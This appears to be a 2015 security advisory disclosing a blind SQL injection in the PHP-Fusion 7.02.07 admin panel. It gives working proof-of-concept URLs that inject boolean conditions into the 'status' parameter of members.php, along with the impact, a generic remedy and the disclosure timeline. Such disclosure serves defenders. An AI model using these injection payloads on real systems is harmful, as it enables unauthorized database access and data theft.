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PHP-Fusion 7.02.07 Blind SQL Injection

PHP-Fusion 7.02.07 Blind SQL Injection
Posted Oct 6, 2015
Authored by Manuel Garcia Cardenas

PHP-Fusion versions 7.02.07 and below suffer from a remote blind SQL injection vulnerability in the admin panel.

tags | exploit, remote, php, sql injection
MD5 | 568b43589df7c6e13bfcb811b922933a

PHP-Fusion 7.02.07 Blind SQL Injection

Change Mirror Download
=============================================
MGC ALERT 2015-002
- Original release date: September 18, 2015
- Last revised: October 05, 2015
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in admin panel PHP-Fusion <= v7.02.07

II. BACKGROUND
-------------------------
PHP-Fusion is a lightweight open source content management system (CMS)
written in PHP.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application. It is possible to inject SQL
code in the variable "status" on the page "members.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/phpfusion/files/administration/members.php?aid=99ad64700ec4ce10&sortby=all&status=0

Exploiting with true request (with mysql5):

/phpfusion/files/administration/members.php?aid=99ad64700ec4ce10&sortby=all&status=0'
AND substr(@@version,1,1)='5

Exploiting with false request:

/phpfusion/files/administration/members.php?aid=99ad64700ec4ce10&sortby=all&status=0'
AND substr(@@version,1,1)='4

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
PHP-Fusion <= v7.02.07

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.

VIII. REFERENCES
-------------------------
https://www.php-fusion.co.uk/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 18, 2015 1: Initial release
October 10, 2015 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 18, 2015 1: Vulnerability acquired by Manuel Garcia Cardenas
September 18, 2015 2: Send to vendor
September 24, 2015 3: Second mail to the verdor without response
October 10, 2015 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester


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